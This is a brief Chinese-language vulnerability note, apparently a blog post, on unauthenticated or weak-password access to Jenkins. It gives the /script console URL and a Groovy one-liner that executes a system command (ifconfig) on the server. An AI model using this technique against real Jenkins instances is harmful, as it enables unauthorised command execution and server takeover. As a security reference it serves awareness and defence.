jenkins 未受权访问-任意命令执行

jenkins 未受权访问-任意命令执行

0x00 jenkins简介

enkins是一个功能强大的应用程序，容许持续集成和持续交付项目，不管用的是什么平台。这是一个免费的源代码，能够处理任何类型的构建或持续集成。集成Jenkins能够用于一些测试和部署技术。Jenkins是一种软件容许持续集成。

0x01 漏洞缘由

jenkins 未设置账号密码，或者使用了弱账号密码

0x02 漏洞复现

在默认状况下Jenkins面板中用户能够选择执行脚本界面来操做一些系统层命令，×××者可经过未受权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
任意命令执行界面:
http://ip:port/script

println "ifconfig".execute().text